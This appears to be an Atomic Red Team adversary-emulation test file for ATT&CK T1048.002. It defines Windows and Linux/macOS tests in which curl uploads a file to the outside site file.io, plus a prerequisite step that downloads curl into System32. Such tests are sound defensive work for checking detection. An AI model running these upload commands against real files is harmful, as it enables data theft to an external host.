attack_technique: T1048.002
display_name: Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
atomic_tests:
- name:  Exfiltrate data HTTPS using curl windows
  auto_generated_guid: 1cdf2fb0-51b6-4fd8-96af-77020d5f1bf0
  description: |
    Exfiltrate data HTTPS using curl to file share site file.io
  supported_platforms:
    - windows
  input_arguments:
    input_file:
      description: Test file to upload
      type: Path
      default: PathToAtomicsFolder/T1048.002/src/artifact
    curl_path:
      description: path to curl.exe
      type: Path
      default: C:\Windows\System32\Curl.exe
  dependency_executor_name: powershell 
  dependencies: 
  - description: |
      Curl must be installed on system.
    prereq_command: |
      if (Test-Path #{curl_path}) {exit 0} else {exit 1}
    get_prereq_command: |
      Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile $env:temp\curl.zip
      Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl
      Copy-Item $env:temp\curl\curl-7.79.1-win64-mingw\bin\curl.exe C:\Windows\System32\Curl.exe
      Remove-Item $env:temp\curl
      Remove-Item $env:temp\curl.zip
  executor:
    name: command_prompt
    elevation_required: false
    command: |
      #{curl_path} -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/
- name: Exfiltrate data HTTPS using curl linux
  auto_generated_guid: 4a4f31e2-46ea-4c26-ad89-f09ad1d5fe01
  description: |
    Exfiltrate data HTTPS using curl to file share site file.io
  supported_platforms:
    - macos
    - linux
  input_arguments:
    input_file:
      description: Test file to upload
      type: Path
      default: PathToAtomicsFolder/T1048.002/src/artifact
  executor:
    name: bash
    elevation_required: false
    command: |
      curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/